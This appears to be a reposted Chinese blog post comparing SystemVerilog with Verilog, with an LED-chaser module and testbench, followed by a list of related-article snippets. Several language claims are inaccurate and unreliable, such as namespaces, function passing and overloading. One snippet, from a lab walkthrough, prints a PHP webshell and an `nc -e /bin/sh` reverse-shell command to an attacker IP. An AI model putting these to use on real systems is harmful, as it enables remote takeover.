基于System-Verilog的FPGA设计与仿真

news2024/11/27 1:42:05

一、System-Verilog

System Verilog的发展
SystemVerilog 的出现是为了因应日益复杂的数位电路设计和验证需求。虽然Verilog HDL 在早期的数位电路设计中得到了广泛应用,但随着技术的发展和电路复杂度的增加,Verilog HDL 在某些方面已经显得有些不足以满足设计者和验证工程师的需求。因此,有必要引入一种更强大、更灵活、更先进的硬体描述语言,从而诞生了SystemVerilog。

和Verilog的区别
Verilog
基本特性:

Verilog是一种高级的硬件描述语言,主要用于RTL(寄存器传输级)建模。
它提供了基本的建模结构,如模块、端口、线网列表、赋值语句、条件语句、循环语句等。
Verilog支持两种主要的描述风格:行为级建模(使用always块)和结构级建模(使用模块实例化)。
应用范围:

Verilog广泛用于数字电路的设计和验证,尤其是在ASIC(应用特定集成电路)和FPGA(现场可编程门阵列)的开发中。
它适用于简单的逻辑设计、复杂的微处理器设计以及PCB(印刷电路板)级别的设计。
局限性:

Verilog在设计大型、复杂的系统时可能会遇到一些限制,特别是在验证和测试方面。
它缺乏一些高级特性,如面向对象编程、高级验证构造和系统级建模。
SystemVerilog
基本特性:

SystemVerilog是Verilog的扩展,包含了Verilog的所有功能,并增加了许多新的特性。
它引入了面向对象编程(OOP)的概念,如类、继承、封装和多态性,这使得设计和验证更加模块化和可重用。
SystemVerilog提供了高级的数据类型、断言、覆盖率指令和随机化特性,这些特性在验证复杂系统时非常有用。
它支持系统级建模和低级别的硬件描述,使得设计可以从概念验证到硅实现的整个过程都得到支持。
应用范围:

SystemVerilog主要用于复杂的SoC(系统芯片)设计和验证,尤其是在需要高级验证技术和系统级建模的场景中。
它适用于验证复杂的IP核、总线接口、内存控制器以及多处理器系统。
优势:

SystemVerilog的高级特性使得设计和验证过程更加高效,减少了设计周期和成本。
它的面向对象特性和随机化特性使得创建复杂的测试环境和验证平台成为可能。
语法上两者的主要区别:

在语法上,Verilog和SystemVerilog之间存在一些显著的区别。这些区别反映了SystemVerilog在Verilog基础上增加的高级特性和功能。以下是一些主要的语法差异:

  1. 数据类型和变量声明
    Verilog:

变量声明必须指定数据类型(如wire, reg, integer等)。
变量类型必须一致,不能在同一个模块中混用不同类型的变量。
SystemVerilog:

引入了更多的数据类型,如logic, bit, byte, shortint等。
支持类型自动推导,变量可以在声明时省略类型,编译器会根据上下文自动推断。
支持结构体(struct)和联合体(union)等复杂的数据类型。
2. 面向对象编程
Verilog:

不支持面向对象编程。
SystemVerilog:

支持类(class)和对象的概念,允许创建类的实例,支持继承、封装和多态性。
可以使用new操作符创建对象,并使用dot操作符访问对象的成员。
3. 过程块和函数
Verilog:

使用always块来描述时序逻辑和行为模型。
使用task和function来定义过程和函数,但不支持函数作为参数传递。
SystemVerilog:

引入了always块的改进版本,如always_comb, always_ff, always_latch等,以提供更精确的时序控制。
函数(function)可以作为参数传递,支持返回值,并且可以重载。
4. 断言和覆盖率
Verilog:

不原生支持断言和覆盖率。
SystemVerilog:

支持assert语句和covergroup,用于验证设计的正确性和覆盖率。
可以定义属性(property)和假设(sequence),用于形式验证和测试。
5. 随机化和约束
Verilog:

不支持随机化和约束。
SystemVerilog:

提供了随机化(randomize)方法和约束(constraint)系统,用于生成随机测试和创建复杂的测试场景。
支持随机化序列和约束块,使得测试更加自动化和系统化。
6. 并发和同步
Verilog:

并发语句(如assign和always块)和同步语句(如begin和end)的使用较为分离。
SystemVerilog:

支持更高级的并发构造,如fork和join,以及disable语句,用于更精细的控制并发执行和同步。
7. 命名和作用域
Verilog:

命名规则相对简单,作用域主要依赖于模块和端口。
SystemVerilog:

引入了包(package)的概念,允许跨模块共享类型定义和函数。
支持命名空间(namespace),提供了更好的作用域管理。
这些语法上的差异使得SystemVerilog在设计和验证复杂系统时提供了更多的灵活性和功能。随着电子系统设计的不断进步,SystemVerilog的这些高级特性变得越来越重要。

二、流水灯

代码
led_flow.sv

module led_flow (
    input logic clk,       // 时钟信号
    input logic rst_n,     // 复位信号(低有效)
    output logic [7:0] led // 8位LED输出
);

    logic [23:0] counter;  // 24位计数器,用于产生慢时钟信号

    // 计数器逻辑
    always_ff @(posedge clk or negedge rst_n) begin
        if (!rst_n)
            counter <= 24'd0;
        else
            counter <= counter + 1;
    end

    // LED流水灯逻辑
    always_ff @(posedge counter[23] or negedge rst_n) begin
        if (!rst_n)
            led <= 8'b0000_0001;
        else
            led <= {led[6:0], led[7]};
    end
endmodule


testbench

module led_flow_tb;
    logic clk;
    logic rst_n;
    logic [7:0] led;

    // 实例化待测试的流水灯模块
    led_flow uut (
        .clk(clk),
        .rst_n(rst_n),
        .led(led)
    );

    // 时钟信号生成
    initial begin
        clk = 0;
        forever #10 clk = ~clk; // 50MHz时钟周期为20ns
    end

    // 测试逻辑
    initial begin
        // 初始化信号
        rst_n = 0;
        #100;
        rst_n = 1;

        // 仿真运行一段时间后结束
        #1000000;
        $stop;
    end
endmodule


三、实验效果

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1825895.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Cocos2d-x 4.0 工程首次建立与编译(Mac m1)

Mac m1芯片下将cocos2d-x升级至4.0版本后&#xff0c;官方剔除了不同平台的工程以及变更了编译方式&#xff0c;直接使用cmake构建&#xff0c;需要做一些前置的准备工作。 环境准备&#xff1a; 项 版本 备注 MacOS10.3 or laterpython2.7.16(建议>2.7.10)cmake3.29.3Do…

LangGraph实战:从零分阶打造人工智能航空客服助手

❝ 通过本指南&#xff0c;你将学习构建一个专为航空公司设计的客服助手&#xff0c;它将协助用户查询旅行信息并规划行程。在此过程中&#xff0c;你将掌握如何利用LangGraph的中断机制、检查点技术以及更为复杂的状态管理功能&#xff0c;来优化你的助手工具&#xff0c;同时…

可解析PHP的反弹shell方法

这里拿vulnhub-DC-8靶场反弹shell&#xff0c;详情见Vulnhub-DC-8 命令执行 拿nc举例 <?php echo system($_POST[cmd]); ?>利用是hackbar&#xff0c;POST提交cmdnc -e /bin/sh 192.168.20.128 6666, 直接反弹shell到kali。 一句话木马 <?php eval($_POST[&qu…

在 Windows 环境下安装mysql步骤(MySQL)

文章目录 一、下载 MySQL二、解压安装包到磁盘三、配置环境&#xff08;管理员权限&#xff09;四、安装 MySQL&#xff08;管理员权限&#xff09; 一、下载 MySQL 如下图&#xff1a;为你的电脑下载对应操作系统的 MySQL 安装包 二、解压安装包到磁盘 三、配置环境&#x…

SD3开源:AI绘画的新纪元,出图效果巨好,不容错过!(附教程)

大家好&#xff0c;我是画画的小强。 这两天&#xff0c;Stability AI 将史上最牛的AI绘画模型SD3开源了&#xff0c;真是有格局&#xff01; 虽说只是中杯的20亿参数版本&#xff0c;但我已经很满足了&#xff0c;再高的版本&#xff0c;我这普通的16G 4070Ti Super 显卡也跑…

【数据结构】第十六弹---C语言实现希尔排序

✨个人主页&#xff1a; 熬夜学编程的小林 &#x1f497;系列专栏&#xff1a; 【C语言详解】 【数据结构详解】【C详解】 目录 1、希尔排序( 缩小增量排序 ) 1.1、预排序实现 1.2、希尔排序代码实现 1.3、代码测试 1.4、时空复杂度分析 1.5、性能比较 总结 上一弹我们…

基于mybatis plus增加较复杂自定义查询以及分页

基于java技术&#xff0c;spring-boot和mybatis-plus搭建后台框架是现在非常流行的技术。 其中关于多表关联查询的实现相对比较复杂&#xff0c;在这里进行记录以供开发人员参考。 以一个系统中实际的实体类为查询为例&#xff0c; T3dMaterial实体其中的fileType属性及字段…

C#批量设置海康和大华录像机NVR,GB28181的通道编码.

我经常要把小区海康或者大华的硬盘录像机推送到自己搭建的gb28181监控平台,每次几百个摄像头编码,有点头大,就用了1个多周写了个批量设置海康和大华硬盘录像机的通道编码的程序,海康和大华的SDK简直不是人看的. 太乱了. 大华读取通道编码的代码 /// <summary>/// 获取通道…

找我设计官网的不多了,看到漂亮大气的,还是忍不住分享出来。

现在有客户找我做官网设计&#xff0c;我说&#xff1a;要么搞个高大上个性化定制的&#xff0c;要么就选个模板得了&#xff0c;几千元的网站不上不下&#xff0c;不如不做。 分享一批高大上的网站给老铁们看看。

【课程系列01】某乎的AI大模型全栈工程师-第4期

网盘链接 链接&#xff1a;https://pan.baidu.com/s/1QLkRW_DmIm1q9XvNiOGwtQ --来自百度网盘超级会员v6的分享 课程目标 AI大模型全栈工程师是指具备人工智能领域全方位能力的工程师&#xff0c;特别是在大模型开发和应用方面具有深厚的专业知识和技能。以下是关于AI大模型…

跻身中国市场前三,联想服务器的“智变”与“质变”

IDC发布的《2024年第一季度中国x86服务器市场报告》显示&#xff0c;联想服务销售额同比增长200.2%&#xff0c;在前十厂商中同比增速第一&#xff0c;并跻身中国市场前三&#xff0c;迈入算力基础设施“第一阵营”。 十年砺剑联想梦&#xff0c;三甲登榜领风骚。探究联想服务器…

10分钟部署一个个人博客

关于vuepress这里没必要过多介绍&#xff0c;感兴趣的可以直接去官网了解&#xff0c;下面是官网首页地址截图 &#xff1a;https://v2.vuepress.vuejs.org/zh/ 透过这张图&#xff0c;我们也可以大致的对这个框架的特点有一定的认识&#xff0c;这就够了。其他的东西我们在使用…

Vue使用vue-esign实现在线签名 加入水印

Vue在线签名 一、目的二、样式三、代码1、依赖2、代码2.1 在线签名组件2.1.1 基础的2.1.2 携带时间水印的 2.2父组件 一、目的 又来了一个问题&#xff0c;直接让我在线签名&#xff08;还不能存储base64&#xff09;&#xff0c;并且还得上传&#xff0c;我直接***违禁词。 好…

【数据结构】——常见排序

文章目录 一、 冒泡排序二、 选择排序三、插入排序四、 快速排序1. hoare版本2. 优化版本3. 前后指针法4. 非递归版本 五、 堆排序六、 希尔排序七、 归并排序1. 递归版本2. 非递归版本 八、 计数排序 在开始之前先准备一个交换数据的函数&#xff0c;排序会经常用到 //交换位置…

【设计模式深度剖析】【8】【行为型】【备忘录模式】| 以后悔药为例加深理解

&#x1f448;️上一篇:观察者模式 设计模式-专栏&#x1f448;️ 文章目录 备忘录模式定义英文原话直译如何理解呢&#xff1f; 3个角色1. Memento&#xff08;备忘录&#xff09;2. Originator&#xff08;原发器&#xff09;3. Caretaker&#xff08;负责人&#xff09;类…

FPGA - 数 - 加减乘除

一&#xff0c;数的表示 首先&#xff0c;将二进制做如下解释&#xff1a; 2的0次方1 2的1次方2 2的2次方4 2的3次方8 ..... 以此类推&#xff0c;那么任何整数&#xff0c;或者说任意一个自然数均可以采用这种方式来表示。 例如&#xff0c;序列10101001&#xff0c;根据上述…

【数据挖掘】机器学习中相似性度量方法-欧式距离

写在前面&#xff1a; 首先感谢兄弟们的订阅&#xff0c;让我有创作的动力&#xff0c;在创作过程我会尽最大能力&#xff0c;保证作品的质量&#xff0c;如果有问题&#xff0c;可以私信我&#xff0c;让我们携手共进&#xff0c;共创辉煌。 路虽远&#xff0c;行则将至&#…

三运放仪表放大器通过设置单个电阻器的值来调整增益

从公式 1 中可以看出&#xff0c;我们可以通过调整单个电阻器 R G的值来调整仪表放大器的差分增益。这很重要&#xff0c;因为与电路中的其他电阻器不同&#xff0c; RG的值不需要与任何其他电阻器匹配。 例如&#xff0c;如果我们尝试通过更改 R 5的值来设置增益&#xff0c;…

PHP杂货铺家庭在线记账理财管理系统源码

家庭在线记帐理财系统&#xff0c;让你对自己的开支了如指掌&#xff0c;图形化界面操作更简单&#xff0c;非常适合家庭理财、记账&#xff0c;系统界面简洁优美&#xff0c;操作直观简单&#xff0c;非常容易上手。 安装说明&#xff1a; 1、上传到网站根目录 2、用phpMyad…

Linux文本处理三剑客+正则表达式

Linux文本处理常用的3个命令&#xff0c;脚本或者文本处理任务中会用到。这里做个整理。 三者的功能都是处理文本&#xff0c;但侧重点各不相同&#xff0c;grep更适合单纯的查找或匹配文本&#xff0c;sed更适合编辑匹配到的文本&#xff0c;awk更适合格式化文本&#xff0c;对…